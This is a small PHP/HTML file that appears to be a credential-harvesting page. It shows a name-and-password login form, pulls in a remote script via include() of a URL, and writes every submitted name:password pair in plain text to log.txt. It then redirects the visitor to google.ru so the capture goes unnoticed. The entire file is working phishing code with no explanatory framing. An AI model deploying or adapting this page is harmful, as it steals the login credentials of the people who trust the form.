<form name="key" action="index.php" method="post">
<table border="0"><tr>
<td>name:</td>
<td><input type="text" name="name" size="15"></td></tr><tr>
<td>password:</td>
<td><input type="text" name="password" size="15"></td></tr></table>
<input type="submit" name="submit" value="Enter">
<?php

$name = $_POST['name'];
$pass = $_POST['password'];

if ($_POST[submit] == "Enter") 
{
include("http://127.0.0.1/gate2.php");
}

?>

<?php 

$fp = fopen("log.txt","a+");
fwrite($fp,"$name:$pass\n"); 
fclose($fp); 

header("Location: http://google.ru");

?>